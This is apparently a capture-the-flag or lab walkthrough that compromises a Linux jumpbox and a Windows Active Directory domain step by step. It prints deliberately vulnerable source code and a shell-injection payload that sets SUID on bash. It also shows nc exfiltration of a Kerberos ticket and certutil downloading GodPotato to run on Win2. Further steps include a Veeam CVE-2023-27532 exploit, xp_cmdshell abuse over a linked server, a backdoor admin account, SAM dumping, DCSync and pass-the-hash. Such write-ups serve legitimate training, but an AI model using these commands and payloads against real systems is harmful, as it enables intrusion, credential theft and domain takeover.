Overview
Princess is the first hop in a multi-machine Active Directory attack chain. The Linux box exposes anonymous FTP and a weakly protected SMB share that leak enough information to recover a low-privileged SSH account (leila). From there a deliberately broken SUID notes reader (silly-notes) allows path traversal to steal the private SSH key of the user silly.
Once on the box as silly we discover a local Flask backup service running on 127.0.0.1:8080. The application contains a classic command-injection vulnerability in the destination path parameter of its backup endpoint. After forwarding the port and authenticating with credentials found on disk, we inject a payload that sets the SUID bit on /bin/bash and obtain root.
Root on Princess also gives us a second network interface into the internal 10.0.80.0/24 range. Using Ligolo-NG we pivot, harvest a Kerberos ccache from the host’s keytab, and begin enumerating the Windows hosts. A password found in a user description plus credentials recovered from a scripts share land us on Win1 as backupwin1.
Win1 runs a vulnerable version of Veeam Backup & Replication (CVE-2023-27532). The exploit returns clear-text credentials for a SQL service account that has a linked-server relationship to Win2 with sysadmin rights. Enabling xp_cmdshell across the link, combining it with GodPotato (SeImpersonatePrivilege), and creating a local administrator lets us dump the SAM of Win2. From there we recover domain credentials belonging to an account with DCSync rights, dump the Domain Administrator hash, and take full control of the domain.
Linux - Princess
Our first machine, in the AD attack chain. Is a Linux machine.
Enumeration
Nmap Scan
We started with a service and version scan against the external Linux host.
Torii ➜ nmap -sV -sC 10.0.130.5

Nmap Scan
| Port | Service | Description |
|---|---|---|
| 21 | FTP | vsftpd 3.0.5. Anonymous login allowed, exposes a notes directory (dated Dec 19, 2025). Control and data connections are plain text. |
| 22 | SSH | OpenSSH 9.6p1 on Ubuntu (protocol 2.0). ECDSA and ED25519 host keys. |
| 139 | NetBIOS-SSN | Samba smbd 4. |
| 445 | SMB | Samba smbd 4 (same service as port 139). |
Open ports and services found by the Nmap scan
Open ports and services identified by the Nmap scan.
FTP Enumeration
Anonymous FTP was enabled. We connected and downloaded the only interesting file present.
Torii ➜ ftp 10.0.130.5
ftp> get silly.mbox

FTP Interaction
Silly Email
The mailbox contained two messages that revealed useful context:
Hello silly,
After the last hacker attack, we need to change the password.
We can't afford to use the username as the password for every type of access.
Please inform the intern as well.
Thanks,
Henry
Thank you Henry, I've changed my ssh password. There are other login left to change the password for?
In the next few days I will also tell the intern.
Bye
silly had already rotated her SSH password, but the intern accounts had not. We kept this information for later.
SMB Enumeration
We performed a null-session share enumeration.
Torii ➜ nxc smb 10.0.130.5 -u '' -p '' --shares

Identified Share
Intern Share
Only the intern share was interesting. We authenticated as the user silly (username-as-password still worked for SMB) and downloaded the single file present.
Torii ➜ smbclient //10.0.130.5/intern -U 'silly'
smb: \> get intern.png

Downloaded Image
Extract Metadata
The image itself was unremarkable, but its EXIF metadata contained an author field.
Torii ➜ exiftool intern.png

Image Preview

Extracted Metadata
Username recovered: leila
SSH Access
Username-as-password still worked for the newly discovered account.
Torii ➜ ssh [email protected]

Successfully Logged In
Post-Enumeration (leila)
Inside /home/leila we found two files of interest.
Reviewing Files
Note.txt
-bash-5.2$ cat note.txt
Leila,
I'm still trying to understand how privileges work through sudoers.
In the meantime, i've added a reader for silly's file, you can read here the source file
Adam
silly-notes.c
-bash-5.2$ cat silly-notes.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <string.h>
int main(int argc, char *argv[]) {
struct passwd *pw;
const char *username = "silly";
pw = getpwnam(username);
if (argc != 2) {
fprintf(stderr, "This is a reader file from silly's notes in /home/silly/notes\n");
fprintf(stderr, "Usage: %s <text_file>\n", argv[0]);
return 1;
}
if (setuid(pw->pw_uid) != 0) {
perror("Error changing UID");
return EXIT_FAILURE;
}
char *fl=strdup("/home/silly/notes/");
char *path=malloc (strlen(argv[1])+strlen(fl)+1);
sprintf(path, "%s%s", fl,argv[1]);
FILE *file = fopen(path, "r");
if (!file) {
perror("Error opening file");
return 1;
}
char buffer[1024];
while (fgets(buffer, sizeof(buffer), file)) {
printf("%s", buffer);
}
fclose(file);
return 0;
}
Explanation
It is a small “notes reader”. It looks up the user silly, switches to that UID with setuid(), prepends /home/silly/notes/ to the filename supplied on the command line, opens the resulting path and prints its contents. It is intended to be SUID so that any user can read silly’s notes without direct directory access.
What is wrong with it
- Path traversal (primary issue):
argv[1]is concatenated with no sanitisation. Supplying../.ssh/id_rsaor../../../etc/shadowresolves to any file thesillyuser can read. - Incomplete privilege drop: Only
setuid()is called.setgid()andinitgroups()are never invoked, so the process retains its original groups (including root when started as root).
Post-Exploitation (leila → silly)
We abused the path-traversal vulnerability to read silly’s private SSH key.
Abuse Silly-notes
-bash-5.2$ silly-notes ../.ssh/id_rsa

Retrieve id_rsa File
With the key in hand we logged in as silly.
Torii ➜ ssh -i silly.rsa [email protected]

Logged In as Silly
Notes Directory
Upon logging in as silly we found the following files in /home/silly/notes:
-bash-5.2$ cat note.txt
this is my test note
-bash-5.2$ cat backup.txt
Hi Silly,
I’m using this folder to notify you that I created the backup files in your folder.
I'm testing a script to allow the intern to back up the resources they need.
Cheers,
Adam
Backup Server
The directory /home/silly/backup_server was readable but its contents were not directly accessible due to permissions. We therefore re-used the silly-notes binary from the leila account to pull the interesting files.

Backup Configurations
Re-abuse Silly-Notes
Because leila can still execute the SUID binary, we used path traversal again, this time to read the backup configuration and source files.
backup_server.py
The application is a local Flask service with a hardcoded secret key (SuperSecretKey123). The critical part is the /backup route:
-bash-5.2$ silly-notes ../backup_server/backup_server.py
import os
import random
import string
import grp
from flask import Flask, request, jsonify, render_template_string, redirect, url_for, session
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.secret_key = "SuperSecretKey123"
CONFIG_PATH = "./backup.conf"
def load_config():
config = {}
with open(CONFIG_PATH, "r") as f:
for line in f:
key, value = line.strip().split("=")
config[key] = value
return config
config = load_config()
USERNAME = config["username"]
PASSWORD = config["password"]
LOGIN_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br><br>
<input type="submit" value="Login">
</form>
</body>
</html>
"""
HTML_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>Backup Service</title>
</head>
<body>
<h2>Hello, choose your folder backup</h2>
<form action="/backup" method="post">
<label for="src_path">Folder to backup:</label>
<input type="text" id="src_path" name="src_path" required>
<br><br>
<label for="dest_path">Choose where to save the backup:</label>
<input type="text" id="dest_path" name="dest_path" required>
<br><br>
<input type="submit" value="Start Backup">
</form>
</body>
</html>
"""
def generate_random_string(length=7):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username == USERNAME and password == PASSWORD:
session["logged_in"] = True
return redirect(url_for("home"))
else:
return "Invalid credentials", 401
return render_template_string(LOGIN_TEMPLATE)
@app.route("/logout")
def logout():
session.pop("logged_in", None)
return redirect(url_for("login"))
@app.route("/", methods=["GET"])
def home():
if not session.get("logged_in"):
return redirect(url_for("login"))
return render_template_string(HTML_TEMPLATE)
@app.route("/backup", methods=["POST"])
def backup():
if not session.get("logged_in"):
return jsonify({"error": "Unauthorized"}), 401
src_path = request.form.get("src_path")
dest_path = request.form.get("dest_path")
if not src_path or not os.path.exists(src_path):
return jsonify({"error": "Invalid source path"}), 400
if not dest_path:
return jsonify({"error": "Invalid destination path"}), 400
os.makedirs(dest_path, exist_ok=True)
random_string = generate_random_string()
filename = f"{os.path.basename(src_path.rstrip('/'))}{random_string}.tar.gz"
backup_path = os.path.join(dest_path, secure_filename(filename))
os.system(f"tar -czf {backup_path} {src_path}")
try:
backupper_gid = grp.getgrnam("backupper").gr_gid
os.chown(backup_path, -1, backupper_gid)
except KeyError:
return jsonify({"error": "Group 'backupper' does not exist"}), 500
except Exception as e:
return jsonify({"error": f"Failed to change group: {e}"}), 500
return jsonify({"message": f"Backup saved at {backup_path}"}), 200
if __name__ == "__main__":
app.run(host="127.0.0.1", port=8080)
Code Review
backup_path = os.path.join(dest_path, secure_filename(filename))
os.system(f"tar -czf {backup_path} {src_path}")
os.system() passes the constructed string to /bin/sh -c. Neither src_path nor dest_path is escaped. The existence check on src_path blocks most payloads, but dest_path is only used by os.makedirs() and then concatenated, making it the injectable parameter.
Appending # comments out the trailing tar arguments, so a payload such as /tmp/x;chmod u+s /bin/bash;# works cleanly.
backup.conf
Here contains credentials that enables us to login inside the application.
-bash-5.2$ silly-notes ../backup_server/backup.conf
username=admin
password=SuperSecret#jjkg54fS
Abusing the Backup Application
Port Forward
The service listens only on 127.0.0.1:8080. We forwarded it to a free local port.
Torii ➜ ssh -i silly.rsa -L 8087:127.0.0.1:8080 [email protected]

Forwarded Port
Logging in
We authenticated with the credentials recovered from backup.conf.

Successfully Logged In
Command Injection
We supplied a harmless source path and a malicious destination path:
- Folder to backup:
/etc/os-release - Choose where to save the backup:
/tmp/x;chmod u+s /bin/bash;#

Added Parameters
An error is expected because the resulting tar command is malformed, but the injected chmod still executes.

Expected Error
When we check the system, /bin/bash now has the SUID bit set.
Root Shell
-bash-5.2$ /bin/bash -p

Gained Administrative
First Hop (Jumpbox)
Princess has a second network interface that reaches the internal Active Directory network.

Discovered Second NIC
We used Ligolo-NG to create a tunnel.
Setup Proxy
Ligolo-Ng ➜ sudo ./proxy -selfcert
Setup Agent
root@princess:~$ ./agent -connect 10.66.0.33:11601 -ignore-cert

Agent Connected
Setup Tunnel
We setup the tunnel to forward the internal traffic.

Autoroute Setup
Windows - Win1
Situational Awareness
Before deeper enumeration we needed a list of live hosts on the internal subnet. We scanned only TCP/445 (present on virtually every Windows host). The discovered hosts were saved to smb_hosts.txt for later use.
Torii ➜ sudo nmap -Pn -p 445 10.0.80.0/24 --open -oG -

Identified Machines
Capture Ccache
Princess is domain-joined. We extracted a usable Kerberos ticket from its keytab so that subsequent NetExec / Impacket tools could authenticate with Kerberos.
root@princess:/tmp$ kinit -k -t /etc/krb5.keytab PRINCESS\$@LINK.LOCAL
root@princess:/tmp$ cp /tmp/krb5cc_0 /tmp/princess.ccache
We transferred the ccache to the attacker machine.
# Princess Machine
root@princess:/tmp$ nc -nv 10.66.0.33 4444 < princess.ccache
# Attacker Machine
Torii ➜ nc -lnvp 4444 > princess.ccache

Retrieve ccache
Enumeration
User Enumeration
Null-session user enumeration revealed a password stored in a user description field.
Torii ➜ nxc smb smb_hosts.txt -u '' -p '' --users --use-kcache

Identified Password
Share Enumeration
We authenticated as the account whose password we had just recovered (shareviewer) and listed shares.
Torii ➜ nxc smb smb_hosts.txt -u 'shareviewer' -p 'moVYJlp54#@.Hl' --shares

Performed Share Enumeration
- Temp – empty, read/write
- Scripts – readable and more interesting
Scripts Share
We connected to the share and downloaded every file for local review.
Torii ➜ smbclient //10.0.80.101/Scripts -U shareviewer -W LINK.LOCAL
smb: \> prompt off
smb: \> mget *

Downloaded Files
mountshare.ps1
One of the scripts contained clear-text credentials for another account.
The second file: mountshare.ps1 contains credentials.

mountshare.ps1
Torii ➜ cat mountshare.ps1;echo
$cred = New-Object System.Management.Automation.PSCredential("link.local\backupwin1",(ConvertTo-SecureString "Extr!meBackupR0n!n66" -AsPlainText -Force))
New-PSDrive -Name B -PsProvider FileSystem -Root "\\10.0.10.100\backup" -Credential $cred -Persistent
Username: backupwin1
Password: Extr!meBackupR0n!n66
Credential Validation
Torii ➜ nxc smb smb_hosts.txt -u 'backupwin1' -p 'Extr!meBackupR0n!n66'

Valid Account
Logging in
Torii ➜ evil-winrm-py -i 10.0.80.101 -u backupwin1 -p 'Extr!meBackupR0n!n66'

Successfully Logged In
Post-Enumeration (Win1)
Veeam Backup & Replication was installed.

Identified Installed Program
Version Check
evil-winrm-py PS C:\> (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Manager.exe").VersionInfo.ProductVersion

Identified Version
Version 11.0.1.1261 is vulnerable to CVE-2023-27532. An unauthenticated attacker who can reach the Veeam backup service (TCP 9401 by default) can request clear-text credentials stored by the product.
Post-Exploitation (Win1)
Exploiting CVE-2023-27532
We compiled the public exploit for .NET 3.1, uploaded it, and ran it against the local listener.
evil-winrm-py PS C:\temp> .\CVE-2023-27532.exe net.tcp://127.0.0.1:9401/

Retrieved Cleartext
Username: sqlwin1to2
Password: 123ertGHJm,.!@#
Logging in as sqlwin1to2
Torii ➜ evil-winrm-py -i 10.0.80.101 -u sqlwin1to2 -p '123ertGHJm,.!@#'

Logged In As sqlwin1to2
Windows - Win2
SQL Instance Exploitation
Before we can exploit this instance, we have to enumerate it properly.
Confirm Linked Server
evil-winrm-py PS C:\Users\sqlwin1to2\Documents> sqlcmd -S .\SQLEXPRESS -E -W -s " | " -Q "SET NOCOUNT ON; SELECT name, data_source, provider FROM master.sys.servers WHERE is_linked = 1;"

Check SQL Server Links
A linked server named WIN2 exists.
Verify Permissions over the Link
evil-winrm-py PS C:\Users\sqlwin1to2\Documents> sqlcmd -S .\SQLEXPRESS -E -W -s " | " -Q "SET NOCOUNT ON; SELECT * FROM OPENQUERY(WIN2, 'SELECT @@SERVERNAME AS ServerName, SYSTEM_USER AS CurrentUser, IS_SRVROLEMEMBER(''sysadmin'') AS IsSysadmin');"

IsSysadmin Enabled
The link runs with sysadmin privileges on Win2, so we can enable and use xp_cmdshell.
Enable XP_CMDShell
evil-winrm-py PS C:\temp> sqlcmd -S .\SQLEXPRESS -E -Q "EXEC('sp_configure ''show advanced options'', 1') AT WIN2"
evil-winrm-py PS C:\temp> sqlcmd -S .\SQLEXPRESS -E -Q "EXEC('RECONFIGURE') AT WIN2"
evil-winrm-py PS C:\temp> sqlcmd -S .\SQLEXPRESS -E -Q "EXEC('sp_configure ''xp_cmdshell'', 1') AT WIN2"
evil-winrm-py PS C:\temp> sqlcmd -S .\SQLEXPRESS -E -Q "EXEC('RECONFIGURE') AT WIN2"
evil-winrm-py PS C:\temp> sqlcmd -S .\SQLEXPRESS -E -Q "EXEC('xp_cmdshell ''whoami /priv''') AT WIN2"

Command Executed
We successfully can executed commands on Win2 machine.
Godpotato Exploitation
SeImpersonatePrivilege is present, so GodPotato can be used for local privilege escalation on Win2.
Host GodPotato on Princess
Because we are already inside the internal network we host the binary from Princess rather than from the attacker machine.
# Host File
root@princess:/tmp$ python3 -m http.server 8000
# Download File
evil-winrm-py PS C:\Users\sqlwin1to2\Documents> sqlcmd -S .\SQLEXPRESS -E -Q "EXEC('xp_cmdshell ''certutil -urlcache -split -f http://10.0.80.100:8000/GodPotato-NET4.exe C:\temp\gp.exe''') AT WIN2"

Successfully Downloaded File
Verify Godpotato
evil-winrm-py PS C:\Users\sqlwin1to2\Documents> sqlcmd -S .\SQLEXPRESS -E -h -1 -W -Q "SET NOCOUNT ON; EXEC('xp_cmdshell ''C:\Windows\Temp\gp.exe -cmd whoami''') AT WIN2"

Validated Godpotato
Adding a Local Administrator
We created a new local administrator named hacker.
# Add User
evil-winrm-py PS C:\Users\sqlwin1to2\Documents> sqlcmd -S .\SQLEXPRESS -E -h -1 -W -i C:\temp\add_user.sql
# Add User to Admins Group
evil-winrm-py PS C:\Users\sqlwin1to2\Documents> sqlcmd -S .\SQLEXPRESS -E -h -1 -W -Q "SET NOCOUNT ON; EXEC('xp_cmdshell ''net user hacker''') AT WIN2;"
# Verify User
evil-winrm-py PS C:\Users\sqlwin1to2\Documents> sqlcmd -S .\SQLEXPRESS -E -h -1 -W -Q "SET NOCOUNT ON; EXEC('xp_cmdshell ''net user hacker''') AT WIN2;"

User Added

User Added Admins Group

Verified Group
Disable Remote UAC Filtering (UAC Fix)
By default, Windows applies User Account Control (UAC) remote restrictions. When a local administrator account (that is not the built-in Administrator) authenticates over the network.
Windows filters the token and removes the high-privilege groups (Administrators, etc.). The resulting token is effectively a medium-integrity “filtered” token, so many administrative actions fail even though the account is a member of the local Administrators group.
Setting the value to 1 disables the remote UAC token filtering. After the change, network logons performed by local administrator accounts receive a full high-integrity token and can perform true administrative actions (including SAM dumps, service creation, etc.).
@'
EXEC('xp_cmdshell ''C:\Windows\Temp\gp.exe -cmd "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"''') AT WIN2
@'

Registry Update
SQL Helper Files
add_user.sql
evil-winrm-py PS C:\temp> more add_user.sql
EXEC('xp_cmdshell ''C:\Windows\Temp\gp.exe -cmd "net user hacker Password123! /add"''') AT WIN2
add_admin.sql
evil-winrm-py PS C:\temp> more add_admin.sql
EXEC('xp_cmdshell ''C:\Windows\Temp\gp.exe -cmd "net localgroup administrators hacker /add"''') AT WIN2
add_rmu.sql
evil-winrm-py PS C:\temp> more add_rmu.sql
EXEC('xp_cmdshell ''net localgroup "Remote Management Users" hacker /add''') AT WIN2
uax_fix.sql
evil-winrm-py PS C:\temp> more uac_fix.sql
EXEC('xp_cmdshell ''C:\Windows\Temp\gp.exe -cmd "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"''') AT WIN2
Dumping SAM (Win2)
With a fully privileged local administrator we could dump the SAM hive.
Torii ➜ nxc smb 10.0.80.102 -u hacker -p 'Password123!' --local-auth --sam

Dumped SAM Hive
Logging in with Local Admin
Torii ➜ wmiexec.py -hashes :6af62ac3ba9e1e3422a8ad97626b4419 [email protected]

Logged In As Admin
Windows - DC0
DCSync
On Win2 we discovered credentials inside C:\Users\adm_sync\ad_sync.ps1.

Discovered Credentials
The account adm_sync holds DCSync rights over the domain.

DCSync Rights
Validating Credential
Torii ➜ nxc smb 10.0.80.10 -u adm_sync -p 'Th1sistheend432@'

Validated Credential
DCSync the Domain
Torii ➜ secretsdump.py adm_sync:'Th1sistheend432@'@10.0.80.10 -just-dc-user administrator

Dumped Hash
Pass-the-Hash
Torii ➜ evil-winrm-py -i 10.0.80.10 -u administrator -H 86b33eac4d2916ccf5a4e69ca08a79e8

Gained Domain Admin Access
We now have full control over the domain.

